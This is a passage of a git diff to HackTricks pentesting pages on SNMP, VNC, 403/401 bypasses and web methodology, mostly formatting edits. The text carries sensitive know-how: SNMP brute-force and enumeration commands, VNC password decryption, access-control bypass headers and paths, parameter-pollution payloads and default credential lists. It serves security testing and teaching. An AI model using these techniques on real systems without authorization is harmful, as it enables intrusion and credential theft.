[1.3.6.1.2.1](http://oid-info.com/get/1.3.6.1.2.1) that references MIB-2 defined Simple Network Management Protocol \(SNMP\) variables. And from the **OIDs pending from this one** you can obtain some interesting host data \(system data, network data, processes data...\) +You can **navigate** through an **OID tree** from the web here: [http://www.oid-info.com/cgi-bin/display?tree=#focus](http://www.oid-info.com/cgi-bin/display?tree=#focus) or **see what a OID means** (like `1.3.6.1.2.1.1`) accessing [http://oid-info.com/get/1.3.6.1.2.1.1](http://oid-info.com/get/1.3.6.1.2.1.1).\ +There are some **well-known OIDs** like the ones inside [1.3.6.1.2.1](http://oid-info.com/get/1.3.6.1.2.1) that references MIB-2 defined Simple Network Management Protocol (SNMP) variables. And from the **OIDs pending from this one** you can obtain some interesting host data (system data, network data, processes data...) ### **OID Example** @@ -55,24 +55,24 @@ The rest of the values give specific information about the device. * 4 – point number * 7 – state of the point -_**\(Example take from**_ [_**here**_](https://www.netadmintools.com/snmp-mib-and-oids)_**\)**_ +_**(Example take from**_ [_**here**_](https://www.netadmintools.com/snmp-mib-and-oids)_**)**_ ### SNMP Versions There are 2 important versions of SNMP: -* **SNMPv1**: Main one, it is still the most frequent, the **authentication is based on a string** \(community string\) that travels in **plain-text** \(all the information travels in plain text\). **Version 2 and 2c** send the **traffic in plain text** also and uses a **community string as authentication**. -* **SNMPv3**: Uses a better authentication form and the information travels **encrypted** using \(**dictionary attack** could be performed but would be much harder to find the correct creds that inn SNMPv1 and v2\). +* **SNMPv1**: Main one, it is still the most frequent, the **authentication is based on a string** (community string) that travels in **plain-text** (all the information travels in plain text). **Version 2 and 2c** send the **traffic in plain text** also and uses a **community string as authentication**. +* **SNMPv3**: Uses a better authentication form and the information travels **encrypted** using (**dictionary attack** could be performed but would be much harder to find the correct creds that inn SNMPv1 and v2). ### Community Strings -As mentioned before, **in order to access the information saved on the MIB you need to know the community string on versions 1 and 2/2c and the credentials on version 3.** +As mentioned before, **in order to access the information saved on the MIB you need to know the community string on versions 1 and 2/2c and the credentials on version 3.**\ The are **2 types of community strings**: * **`public`** mainly **read only** functions * **`private`** **Read/Write** in general -Note that **the writability of an OID depends on the community string used**, so **even** if you find that "**public**" is being used, you could be able to **write some values.** Also, there **may** exist objects which are **always "Read Only".** +Note that **the writability of an OID depends on the community string used**, so **even** if you find that "**public**" is being used, you could be able to **write some values.** Also, there **may** exist objects which are **always "Read Only".**\ If you try to **write** an object a **`noSuchName` or `readOnly` error** is received**.** In versions 1 and 2/2c if you to use a **bad** community string the server wont **respond**. So, if it responds, a **valid community strings was used**. @@ -80,10 +80,10 @@ In versions 1 and 2/2c if you to use a **bad** community string the server wont ## Ports * The SNMP agent receives requests on UDP port **161**. -* The manager receives notifications \([Traps](https://en.wikipedia.org/wiki/Simple_Network_Management_Protocol#Trap) and [InformRequests](https://en.wikipedia.org/wiki/Simple_Network_Management_Protocol#InformRequest)\) on port **162**. +* The manager receives notifications ([Traps](https://en.wikipedia.org/wiki/Simple_Network_Management_Protocol#Trap) and [InformRequests](https://en.wikipedia.org/wiki/Simple_Network_Management_Protocol#InformRequest)) on port **162**. * When used with [Transport Layer Security](https://en.wikipedia.org/wiki/Transport_Layer_Security) or [Datagram Transport Layer Security](https://en.wikipedia.org/wiki/Datagram_Transport_Layer_Security), requests are received on port **10161** and notifications are sent to port **10162**. -## Brute-Force Community String \(v1 and v2c\) +## Brute-Force Community String (v1 and v2c) To **guess the community string** you could perform a dictionary attack. Check [here different ways to perform a brute-force attack against SNMP](../../brute-force.md#snmp). @@ -107,19 +107,21 @@ snmp-check [DIR_IP] -p [PORT] -c [COMM_STRING] nmap --script "snmp* and not snmp-brute" ``` -Thanks to extended queries \(download-mibs\), it is possible to enumerate even more about the system with the following command : +Thanks to extended queries (download-mibs), it is possible to enumerate even more about the system with the following command : ```bash snmpwalk -v X -c public NET-SNMP-EXTEND-MIB::nsExtendOutputFull ``` -**SNMP** has a lot of information about the host and things that you may find interesting are: **Network interfaces** \(IPv4 and **IPv6** address\), Usernames, Uptime, Server/OS version, and **processes running** \(may contain passwords\).... +**SNMP** has a lot of information about the host and things that you may find interesting are: **Network interfaces** (IPv4 and **IPv6** address), Usernames, Uptime, Server/OS version, and **processes running** (may contain passwords).... ## From SNMP to RCE If you have the **string** that allows you to **write values** inside the SNMP service, you may be able to abuse it to **execute commands**: -{% page-ref page="snmp-rce.md" %} +{% content-ref url="snmp-rce.md" %} +[snmp-rce.md](snmp-rce.md) +{% endcontent-ref %} ## **Massive SNMP** @@ -127,21 +129,21 @@ If you have the **string** that allows you to **write values** inside the SNMP s Braa implements its OWN snmp stack, so it does NOT need any SNMP libraries like net-snmp. -**Syntax:** braa \[Community-string\]@\[IP of SNMP server\]:\[iso id\] +**Syntax:** braa \[Community-string]@\[IP of SNMP server]:\[iso id] -```text +``` braa ignite123@192.168.1.125:.1.3.6.* ``` This can extract a lot MB of information that you cannot process manually. -So, lets look for the most interesting information \(from [https://blog.rapid7.com/2016/05/05/snmp-data-harvesting-during-penetration-testing/](https://blog.rapid7.com/2016/05/05/snmp-data-harvesting-during-penetration-testing/)\): +So, lets look for the most interesting information (from [https://blog.rapid7.com/2016/05/05/snmp-data-harvesting-during-penetration-testing/](https://blog.rapid7.com/2016/05/05/snmp-data-harvesting-during-penetration-testing/)): ### Devices One of the first things I do is extract the sysDesc .1.3.6.1.2.1.1.1.0 MIB data from each file to determine what devices I have harvested information from. This can easily be done using the following grep command: -```text +``` grep ".1.3.6.1.2.1.1.1.0" *.snmp ``` @@ -183,7 +185,7 @@ If there is an ACL that only allows some IPs to query the SMNP service, you can ## HackTricks Automatic Commands -```text +``` Protocol_Name: SNMP #Protocol Abbreviation if there is one. Port_Number: 161 #Comma separated if there is more than one. Protocol_Description: Simple Network Managment Protocol #Protocol Abbreviation Spelled out @@ -216,4 +218,3 @@ Entry_5: Description: Need Nothing Command: hydra -P {Big_Passwordlist} -v {IP} snmp ``` - diff --git a/pentesting/pentesting-vnc.md b/pentesting/pentesting-vnc.md index dbcc537f..d0a1a1bd 100644 --- a/pentesting/pentesting-vnc.md +++ b/pentesting/pentesting-vnc.md @@ -2,12 +2,12 @@ ## Basic Information -In computing, **Virtual Network Computing** \(**VNC**\) is a graphical desktop-sharing system that uses the Remote Frame Buffer protocol \(RFB\) to remotely control another computer. It transmits the keyboard and mouse events from one computer to another, relaying the graphical-screen updates back in the other direction, over a network. +In computing, **Virtual Network Computing** (**VNC**) is a graphical desktop-sharing system that uses the Remote Frame Buffer protocol (RFB) to remotely control another computer. It transmits the keyboard and mouse events from one computer to another, relaying the graphical-screen updates back in the other direction, over a network. \ From [wikipedia](https://en.wikipedia.org/wiki/Virtual_Network_Computing). VNC usually uses ports **5800 or 5801 or 5900 or 5901.** -```text +``` PORT STATE SERVICE 5900/tcp open vnc ``` @@ -19,7 +19,7 @@ nmap -sV --script vnc-info,realvnc-auth-bypass,vnc-title -p msf> use auxiliary/scanner/vnc/vnc_none_auth ``` -### \*\*\*\*[**Brute force**](../brute-force.md#vnc) +### ****[**Brute force**](../brute-force.md#vnc) ## Connect to vnc using Kali @@ -29,17 +29,17 @@ vncviewer [-passwd passwd.txt] ::5901 ## Decrypting VNC password -Default **password is stored** in: ~/.vnc/passwd +Default **password is stored **in: \~/.vnc/passwd -If you have the VNC password and it looks encrypted \(a few bytes, like if it could be and encrypted password\). It is probably ciphered with 3des. You can get the clear text password using [https://github.com/jeroennijhof/vncpwd](https://github.com/jeroennijhof/vncpwd) +If you have the VNC password and it looks encrypted (a few bytes, like if it could be and encrypted password). It is probably ciphered with 3des. You can get the clear text password using [https://github.com/jeroennijhof/vncpwd](https://github.com/jeroennijhof/vncpwd) ```bash make vncpwd ``` -You can do this because the password used inside 3des to encrypt the plain-text VNC passwords was reversed years ago. -For **Windows** you can also use this tool: [https://www.raymond.cc/blog/download/did/232/](https://www.raymond.cc/blog/download/did/232/) +You can do this because the password used inside 3des to encrypt the plain-text VNC passwords was reversed years ago.\ +For **Windows **you can also use this tool: [https://www.raymond.cc/blog/download/did/232/](https://www.raymond.cc/blog/download/did/232/)\ I save the tool here also for ease of access: {% file src="../.gitbook/assets/vncpwd.zip" %} @@ -47,4 +47,3 @@ I save the tool here also for ease of access: ## Shodan * `port:5900 RFB` - diff --git a/pentesting/pentesting-web/403-and-401-bypasses.md b/pentesting/pentesting-web/403-and-401-bypasses.md index aa062681..291d04c7 100644 --- a/pentesting/pentesting-web/403-and-401-bypasses.md +++ b/pentesting/pentesting-web/403-and-401-bypasses.md @@ -4,89 +4,87 @@ Try using **different verbs** to access the file: `GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS, TRACE, PATCH, INVENTED, HACK` -* Check the response headers, maybe some information can be given. For example, a **200 response** to **HEAD** with `Content-Length: 55` means that the **HEAD verb can access the info**. But you still need to find a way to exfiltrate that info. +* Check the response headers, maybe some information can be given. For example, a **200 response **to **HEAD **with `Content-Length: 55` means that the **HEAD verb can access the info**. But you still need to find a way to exfiltrate that info. * Using a HTTP header like `X-HTTP-Method-Override: PUT` can overwrite the verb used. ## HTTP Headers Fuzzing -* **Change Host header** to some arbitrary value \([that worked here](https://medium.com/@sechunter/exploiting-admin-panel-like-a-boss-fc2dd2499d31)\) +* **Change Host header** to some arbitrary value ([that worked here](https://medium.com/@sechunter/exploiting-admin-panel-like-a-boss-fc2dd2499d31)) * Try to [**use other User Agents**](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/User-Agents/UserAgents.fuzz.txt) to access the resource. -* **Fuzz HTTP Headers**: Try using HTTP Proxy **Headers**, HTTP Authentication Basic and NTLM brute-force \(with a few combinations only\) and other techniques. To do all of this I have created the tool [**fuzzhttpbypass**](https://github.com/carlospolop/fuzzhttpbypass). +* **Fuzz HTTP Headers**: Try using HTTP Proxy **Headers**, HTTP Authentication Basic and NTLM brute-force (with a few combinations only) and other techniques. To do all of this I have created the tool [**fuzzhttpbypass**](https://github.com/carlospolop/fuzzhttpbypass). - * `X-Originating-IP: 127.0.0.1` - * `X-Forwarded-For: 127.0.0.1` - * `X-Forwarded: 127.0.0.1` - * `Forwarded-For: 127.0.0.1` - * `X-Remote-IP: 127.0.0.1` - * `X-Remote-Addr: 127.0.0.1` - * `X-ProxyUser-Ip: 127.0.0.1` - * `X-Original-URL: 127.0.0.1` - * `Client-IP: 127.0.0.1` - * `True-Client-IP: 127.0.0.1` - * `Cluster-Client-IP: 127.0.0.1` - * `X-ProxyUser-Ip: 127.0.0.1` + * `X-Originating-IP: 127.0.0.1` + * `X-Forwarded-For: 127.0.0.1` + * `X-Forwarded: 127.0.0.1` + * `Forwarded-For: 127.0.0.1` + * `X-Remote-IP: 127.0.0.1` + * `X-Remote-Addr: 127.0.0.1` + * `X-ProxyUser-Ip: 127.0.0.1` + * `X-Original-URL: 127.0.0.1` + * `Client-IP: 127.0.0.1` + * `True-Client-IP: 127.0.0.1` + * `Cluster-Client-IP: 127.0.0.1` + * `X-ProxyUser-Ip: 127.0.0.1` - If the **path is protected** you can try to bypass the path protection using these other headers: + If the **path is protected** you can try to bypass the path protection using these other headers: - * `X-Original-URL: /admin/console` - * `X-Rewrite-URL: /admin/console` - -* If the page is **behind a proxy**, maybe it's the proxy the one preventing you you to access the private information. Try abusing [**HTTP Request Smuggling**](../../pentesting-web/http-request-smuggling.md) **or** [**hop-by-hop headers**](../../pentesting-web/abusing-hop-by-hop-headers.md)**.** + * `X-Original-URL: /admin/console` + * `X-Rewrite-URL: /admin/console` +* If the page is** behind a proxy**, maybe it's the proxy the one preventing you you to access the private information. Try abusing [**HTTP Request Smuggling**](../../pentesting-web/http-request-smuggling.md)** or **[**hop-by-hop headers**](../../pentesting-web/abusing-hop-by-hop-headers.md)**.** * Fuzz [**special HTTP headers**](special-http-headers.md) looking for different response. - * **Fuzz special HTTP headers** while fuzzing **HTTP Methods**. + * **Fuzz special HTTP headers **while fuzzing **HTTP Methods**. ## Path **Fuzzing** If _/path_ is blocked: -* Try using _**/**_**%2e/**path _\(if the access is blocked by a proxy, this could bypass the protection\). Try also_ /**%252e**/path \(double URL encode\) -* Try **Unicode bypass**: _/**%ef%bc%8f**path_ \(The URL encoded chars are like "/"\) so when encoded back it will be _//path_ and maybe you will have already bypassed the _/path_ name check +* Try using _**/**_**%2e/**path _(if the access is blocked by a proxy, this could bypass the protection). Try also_ /**%252e**/path (double URL encode) +* Try **Unicode bypass**: _/**%ef%bc%8f**path_ (The URL encoded chars are like "/") so when encoded back it will be _//path_ and maybe you will have already bypassed the _/path_ name check * **Other path bypasses**: - * site.com/secret –> HTTP 403 Forbidden - * site.com/SECRET –> HTTP 200 OK - * site.com/secret/ –> HTTP 200 OK - * site.com/secret/. –> HTTP 200 OK - * site.com//secret// –> HTTP 200 OK - * site.com/./secret/.. –> HTTP 200 OK - * site.com/;/secret –> HTTP 200 OK - * site.com/.;/secret –> HTTP 200 OK - * site.com//;//secret –> HTTP 200 OK - * site.com/secret.json –> HTTP 200 OK \(ruby\) + * site.com/secret –> HTTP 403 Forbidden + * site.com/SECRET –> HTTP 200 OK + * site.com/secret/ –> HTTP 200 OK + * site.com/secret/. –> HTTP 200 OK + * site.com//secret// –> HTTP 200 OK + * site.com/./secret/.. –> HTTP 200 OK + * site.com/;/secret –> HTTP 200 OK + * site.com/.;/secret –> HTTP 200 OK + * site.com//;//secret –> HTTP 200 OK + * site.com/secret.json –> HTTP 200 OK (ruby) * Use all [**this list**](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/Unicode.txt) in the following situations: * /FUZZsecret * /FUZZ/secret * /secretFUZZ * **Other API bypasses:** - * /v3/users\_data/1234 --> 403 Forbidden - * /v1/users\_data/1234 --> 200 OK - * {“id”:111} --> 401 Unauthriozied - * {“id”:\[111\]} --> 200 OK - * {“id”:111} --> 401 Unauthriozied - * {“id”:{“id”:111}} --> 200 OK - * {"user\_id":"<legit\_id>","user\_id":"<victims\_id>"} \(JSON Parameter Pollution\) - * user\_id=ATTACKER\_ID&user\_id=VICTIM\_ID \(Parameter Pollution\) + * /v3/users_data/1234 --> 403 Forbidden + * /v1/users_data/1234 --> 200 OK + * {“id”:111} --> 401 Unauthriozied + * {“id”:\[111]} --> 200 OK + * {“id”:111} --> 401 Unauthriozied + * {“id”:{“id”:111}} --> 200 OK + * {"user_id":"\","user_id":"\"} (JSON Parameter Pollution) + * user_id=ATTACKER_ID\&user_id=VICTIM_ID (Parameter Pollution) ## **Other Bypasses** -* Try to **stress the server** sending common GET requests \([It worked for this guy wit Facebook](https://medium.com/@amineaboud/story-of-a-weird-vulnerability-i-found-on-facebook-fc0875eb5125)\). +* Try to **stress the server** sending common GET requests ([It worked for this guy wit Facebook](https://medium.com/@amineaboud/story-of-a-weird-vulnerability-i-found-on-facebook-fc0875eb5125)). * **Change the protocol**: from http to https, or for https to http * Go to [**https://archive.org/web/**](https://archive.org/web/) and check if in the past that file was **worldwide accessible**. ## **Brute Force** * **Guess the password**: Test the following common credentials. Do you know something about the victim? Or the CTF challenge name? -* [**Brute force**](../../brute-force.md#http-brute)**:** Try basic, digest and NTLM auth. - - {% code title="Common creds" %} - ```text - admin admin - admin password - admin 1234 - admin admin1234 - admin 123456 - root toor - test test - guest guest - ``` - {% endcode %} +* [**Brute force**](../../brute-force.md#http-brute)**:** Try basic, digest and NTLM auth. + {% code title="Common creds" %} + ``` + admin admin + admin password + admin 1234 + admin admin1234 + admin 123456 + root toor + test test + guest guest + ``` + {% endcode %} diff --git a/pentesting/pentesting-web/README.md b/pentesting/pentesting-web/README.md index fa3c788c..df25e87d 100644 --- a/pentesting/pentesting-web/README.md +++ b/pentesting/pentesting-web/README.md @@ -1,14 +1,14 @@ # 80,443 - Pentesting Web Methodology -If you want to **know** about my **latest modifications**/**additions** or you have **any suggestion for HackTricks or PEASS**, **join the** [**💬**](https://emojipedia.org/speech-balloon/) [**PEASS & HackTricks telegram group here**](https://t.me/peass)**, or follow me on Twitter 🐦**[**@carlospolopm**](https://twitter.com/carlospolopm). -**If you want to** share some tricks with the community **you can also submit** pull requests **to** [**https://github.com/carlospolop/hacktricks**](https://github.com/carlospolop/hacktricks) **that will be reflected in this book. -Don't forget to** give ⭐ on the **github** to motivate me to continue developing this book. +If you want to **know** about my **latest modifications**/**additions** or you have **any suggestion for HackTricks or PEASS**, **join the** [**💬**](https://emojipedia.org/speech-balloon/) [**PEASS & HackTricks telegram group here**](https://t.me/peass)**, or follow me on Twitter 🐦**[**@carlospolopm**](https://twitter.com/carlospolopm).\ +**If you want to** share some tricks with the community **you can also submit** pull requests **to** [**https://github.com/carlospolop/hacktricks**](https://github.com/carlospolop/hacktricks) **that will be reflected in this book.**\ +**Don't forget to** give ⭐ on the **github** to motivate me to continue developing this book. ## Basic Info The web service is the most **common and extensive service** and a lot of **different types of vulnerabilities** exists. -**Default port:** 80 \(HTTP\), 443\(HTTPS\) +**Default port:** 80 (HTTP), 443(HTTPS) ```bash PORT STATE SERVICE @@ -23,18 +23,20 @@ openssl s_client -connect domain.com:443 # GET / HTTP/1.0 ## Web API Guidance -{% page-ref page="web-api-pentesting.md" %} +{% content-ref url="web-api-pentesting.md" %} +[web-api-pentesting.md](web-api-pentesting.md) +{% endcontent-ref %} ## Methodology summary -> In this methodology we are going to suppose that you are going to a attack a domain \(or subdomain\) and only that. So, you should apply this methodology to each discovered domain, subdomain or IP with undetermined web server inside the scope. +> In this methodology we are going to suppose that you are going to a attack a domain (or subdomain) and only that. So, you should apply this methodology to each discovered domain, subdomain or IP with undetermined web server inside the scope. * [ ] Start by **identifying** the **technologies** used by the web server. Look for **tricks** to keep in mind during the rest of the test if you can successfully identify the tech. * [ ] Any **known vulnerability** of the version of the technology? * [ ] Using any **well known tech**? Any **useful trick** to extract more information? - * [ ] Any **specialised scanner** to run \(like wpscan\)? + * [ ] Any **specialised scanner** to run (like wpscan)? * [ ] Launch **general purposes scanners**. You never know if they are going to find something or if the are going to find some interesting information. -* [ ] Start with the **initial checks**: **robots**, **sitemap**, **404** error and **SSL/TLS scan** \(if HTTPS\). +* [ ] Start with the **initial checks**: **robots**, **sitemap**, **404** error and **SSL/TLS scan** (if HTTPS). * [ ] Start **spidering** the web page: It's time to **find** all the possible **files, folders** and **parameters being used.** Also, check for **special findings**. * [ ] _Note that anytime a new directory is discovered during brute-forcing or spidering, it should be spidered._ * [ ] **Directory Brute-Forcing**: Try to brute force all the discovered folders searching for new **files** and **directories**. @@ -44,12 +46,12 @@ openssl s_client -connect domain.com:443 # GET / HTTP/1.0 * [ ] Once you have **identified** all the possible **endpoints** accepting **user input**, check for all kind of **vulnerabilities** related to it. * [ ] [Follow this checklist](../../pentesting-web/web-vulnerabilities-methodology.md) -## Server Version \(Vulnerable?\) +## Server Version (Vulnerable?) ### Identify -Check if there are **known vulnerabilities** for the server **version** that is running. -The **HTTP headers and cookies of the response** could be very useful to **identify** the **technologies** and/or **version** being used. **Nmap scan** can identify the server version, but it could also be useful the tools [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech)or [**https://builtwith.com/**](https://builtwith.com/)**:** +Check if there are **known vulnerabilities** for the server **version** that is running.\ +The **HTTP headers and cookies of the response** could be very useful to **identify** the **technologies** and/or **version** being used. **Nmap scan** can identify the server version, but it could also be useful the tools [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech)or [**https://builtwith.com/**](https://builtwith.com)**:** ```bash whatweb -a 1 #Stealthy @@ -89,7 +91,7 @@ Some **tricks** for **finding vulnerabilities** in different well known **techno * [**Laravel**](laravel.md) * [**Moodle**](moodle.md) * [**Nginx**](nginx.md) -* [**PHP \(php has a lot of interesting tricks that could be exploited\)**](php-tricks-esp/) +* [**PHP (php has a lot of interesting tricks that could be exploited)**](php-tricks-esp/) * [**Python**](python.md) * [**Spring Actuators**](spring-actuators.md) * [**Symphony**](symphony.md) @@ -99,23 +101,25 @@ Some **tricks** for **finding vulnerabilities** in different well known **techno * [**WebDav**](put-method-webdav.md) * [**Werkzeug**](werkzeug.md) * [**Wordpress**](wordpress.md) -* [**Electron Desktop \(XSS to RCE\)**](xss-to-rce-electron-desktop-apps.md) +* [**Electron Desktop (XSS to RCE)**](xss-to-rce-electron-desktop-apps.md) -_Take into account that the **same domain** can be using **different technologies** in different **ports**, **folders** and **subdomains**._ -If the web application is using any well known **tech/platform listed before** or **any other**, don't forget to **search on the Internet** new tricks \(and let me know!\). +_Take into account that the **same domain** can be using **different technologies** in different **ports**, **folders** and **subdomains**._\ +If the web application is using any well known **tech/platform listed before** or **any other**, don't forget to **search on the Internet** new tricks (and let me know!). ## Source Code Review If the **source code** of the application is available in **github**, apart of performing by **your own a White box test** of the application there is **some information** that could be **useful** for the current **Black-Box testing**: * Is there a **Change-log or Readme or Version** file or anything with **version info accessible** via web? -* How and where are saved the **credentials**? Is there any \(accessible?\) **file** with credentials \(usernames or passwords\)? +* How and where are saved the **credentials**? Is there any (accessible?) **file** with credentials (usernames or passwords)? * Are **passwords** in **plain text**, **encrypted** or which **hashing algorithm** is used? * Is it using any **master key** for encrypting something? Which **algorithm** is used? * Can you **access any of these files** exploiting some vulnerability? -* Is there any **interesting information in the github** \(solved and not solved\) **issues**? Or in **commit history** \(maybe some **password introduced inside an old commit**\)? +* Is there any **interesting information in the github** (solved and not solved) **issues**? Or in **commit history** (maybe some **password introduced inside an old commit**)? -{% page-ref page="code-review-tools.md" %} +{% content-ref url="code-review-tools.md" %} +[code-review-tools.md](code-review-tools.md) +{% endcontent-ref %} ## Automatic scanners @@ -134,11 +138,11 @@ nuclei -t nuclei-templates If a CMS is used don't forget to **run a scanner**, maybe something juicy is found: -[**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**, ColdFusion, WebLogic,** [**Tomcat**](tomcat.md)**, Railo, Axis2, Glassfish** -[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal.md), **Joomla**, **vBulletin** websites for Security issues. \(GUI\) -[**VulnX**](https://github.com/anouarbensaad/vulnx)**:** [**Joomla**](joomla.md)**,** [**Wordpress**](wordpress.md)**,** [**Drupal**](drupal.md)**, PrestaShop, Opencart -CMSMap**: [**\(W\)ordpress**](wordpress.md)**,** [**\(J\)oomla**](joomla.md)**,** [**\(D\)rupal**](drupal.md) **or** [**\(M\)oodle**](moodle.md) -[**droopscan**](https://github.com/droope/droopescan)**:** [**Drupal**](drupal.md)**,** [**Joomla**](joomla.md)**,** [**Moodle**](moodle.md)**, Silverstripe,** [**Wordpress**](wordpress.md) +[**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**, ColdFusion, WebLogic,** [**Tomcat**](tomcat.md)**, Railo, Axis2, Glassfish**\ +[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal.md), **Joomla**, **vBulletin** websites for Security issues. (GUI)\ +[**VulnX**](https://github.com/anouarbensaad/vulnx)**: **[**Joomla**](joomla.md)**,** [**Wordpress**](wordpress.md)**,** [**Drupal**](drupal.md)**, PrestaShop, Opencart**\ +**CMSMap**: [**(W)ordpress**](wordpress.md)**, **[**(J)oomla**](joomla.md)**,** [**(D)rupal**](drupal.md) **or** [**(M)oodle**](moodle.md)\ +[**droopscan**](https://github.com/droope/droopescan)**:** [**Drupal**](drupal.md)**, **[**Joomla**](joomla.md)**,** [**Moodle**](moodle.md)**, Silverstripe,** [**Wordpress**](wordpress.md) ```bash cmsmap [-f W] -F -d @@ -147,7 +151,7 @@ joomscan --ec -u joomlavs.rb #https://github.com/rastating/joomlavs ``` -> At this point you should already have some information of the web server being used by the client \(if any data is given\) and some tricks to keep in mind during the test. If you are lucky you have even found a CMS and run some scanner. +> At this point you should already have some information of the web server being used by the client (if any data is given) and some tricks to keep in mind during the test. If you are lucky you have even found a CMS and run some scanner. ## Step-by-step Web Application Discovery @@ -168,12 +172,12 @@ joomlavs.rb #https://github.com/rastating/joomlavs Web servers may **behave unexpectedly** when weird data is sent to them. This may open **vulnerabilities** or **disclosure sensitive information**. -* Access **fake pages** like /whatever\_fake.php \(.aspx,.html,.etc\) -* **Add "\[\]", "\]\]", and "\[\["** in **cookie values** and **parameter** values to create errors +* Access **fake pages** like /whatever_fake.php (.aspx,.html,.etc) +* **Add "\[]", "]]", and "\[\["** in **cookie values** and **parameter** values to create errors * Generate error by giving input as **`/~randomthing/%s`** at the **end** of **URL** * Try **different HTTP Verbs** like PATCH, DEBUG or wrong like FAKE -#### Check if you can upload files \([PUT verb, WebDav](put-method-webdav.md)\) +#### Check if you can upload files ([PUT verb, WebDav](put-method-webdav.md)) If you find that **WebDav** is **enabled** but you don't have enough permissions for **uploading files** in the root folder try to: @@ -183,9 +187,9 @@ If you find that **WebDav** is **enabled** but you don't have enough permissions #### SSL/TLS vulnerabilites * If the application **isn't forcing the user of HTTPS** in any part, then it's **vulnerable to MitM** -* If the application is **sending sensitive data \(passwords\) using HTTP**. Then it's a high vulnerability. +* If the application is **sending sensitive data (passwords) using HTTP**. Then it's a high vulnerability. -Use [**testssl.sh**](https://github.com/drwetter/testssl.sh) to checks for **vulnerabilities** \(In Bug Bounty programs probably these kind of vulnerabilities won't be accepted\) and use [**a2sv** ](https://github.com/hahwul/a2sv)to recheck the vulnerabilities: +Use [**testssl.sh**](https://github.com/drwetter/testssl.sh) to checks for **vulnerabilities** (In Bug Bounty programs probably these kind of vulnerabilities won't be accepted) and use [**a2sv** ](https://github.com/hahwul/a2sv)to recheck the vulnerabilities: ```bash ./testssl.sh [--htmlfile] 10.10.10.10:443 @@ -205,40 +209,40 @@ Information about SSL/TLS vulnerabilities: Launch some kind of **spider** inside the web. The goal of the spider is to **find as much paths as possible** from the tested application. Therefore, web crawling and external sources should be used to find as much valid paths as possible. -* [**gospider**](https://github.com/jaeles-project/gospider) \(go\): HTML spider, LinkFinder in JS files and external sources \(Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com\). -* [**hakrawler**](https://github.com/hakluke/hakrawler) \(go\): HML spider, with LinkFider for JS files and Archive.org as external source. -* [**dirhunt**](https://github.com/Nekmo/dirhunt) \(python\): HTML spider, also indicates "juicy files". -* [**evine** ](https://github.com/saeeddhqan/evine)\(go\): Interactive CLI HTML spider. It also searches in Archive.org -* [**meg**](https://github.com/tomnomnom/meg) \(go\): This tool isn't a spider but it can be useful. You can just indicate a file with hosts and a file with paths and meg will fetch each path on each host and save the response. -* [**urlgrab**](https://github.com/IAmStoxe/urlgrab) \(go\): HTML spider with JS rendering capabilities. However, it looks like it's unmaintained, the precompiled version is old and the current code doesn't compile -* [**gau**](https://github.com/lc/gau) go\): HTML spider that uses external providers \(wayback, otx, commoncrawl\) +* [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML spider, LinkFinder in JS files and external sources (Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com). +* [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML spider, with LinkFider for JS files and Archive.org as external source. +* [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML spider, also indicates "juicy files". +* [**evine** ](https://github.com/saeeddhqan/evine)(go): Interactive CLI HTML spider. It also searches in Archive.org +* [**meg**](https://github.com/tomnomnom/meg) (go): This tool isn't a spider but it can be useful. You can just indicate a file with hosts and a file with paths and meg will fetch each path on each host and save the response. +* [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): HTML spider with JS rendering capabilities. However, it looks like it's unmaintained, the precompiled version is old and the current code doesn't compile +* [**gau**](https://github.com/lc/gau) go): HTML spider that uses external providers (wayback, otx, commoncrawl) * [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): This script will find URLs with parameter and will list them. -* [**galer**](https://github.com/dwisiswant0/galer) \(go\): HTML spider with JS rendering capabilities. -* [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) \(python\): HTML spider, with JS beautify capabilities capable of search new paths in JS files. It could be worth it also take a look to [JSScanner](https://github.com/dark-warlord14/JSScanner), which is a wrapper of LinkFinder. -* [**JSParser**](https://github.com/nahamsec/JSParser) \(python2.7\): A python 2.7 script using Tornado and JSBeautifier to parse relative URLs from JavaScript files. Useful for easily discovering AJAX requests. Looks like unmaintained. -* [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) \(ruby\): Given a file \(HTML\) it will extract URLs from it using nifty regular expression to find and extract the relative URLs from ugly \(minify\) files. -* [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) \(bash, several tools\): Gather interesting information from JS files using several tools. -* [**subjs**](https://github.com/lc/subjs) \(go\): Find JS files. -* [**page-fetch**](https://github.com/detectify/page-fetch) \(go\): Load a page in a headless browser and print out all the urls loaded to load the page. +* [**galer**](https://github.com/dwisiswant0/galer) (go): HTML spider with JS rendering capabilities. +* [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML spider, with JS beautify capabilities capable of search new paths in JS files. It could be worth it also take a look to [JSScanner](https://github.com/dark-warlord14/JSScanner), which is a wrapper of LinkFinder. +* [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): A python 2.7 script using Tornado and JSBeautifier to parse relative URLs from JavaScript files. Useful for easily discovering AJAX requests. Looks like unmaintained. +* [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Given a file (HTML) it will extract URLs from it using nifty regular expression to find and extract the relative URLs from ugly (minify) files. +* [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, several tools): Gather interesting information from JS files using several tools. +* [**subjs**](https://github.com/lc/subjs) (go): Find JS files. +* [**page-fetch**](https://github.com/detectify/page-fetch) (go): Load a page in a headless browser and print out all the urls loaded to load the page. ### 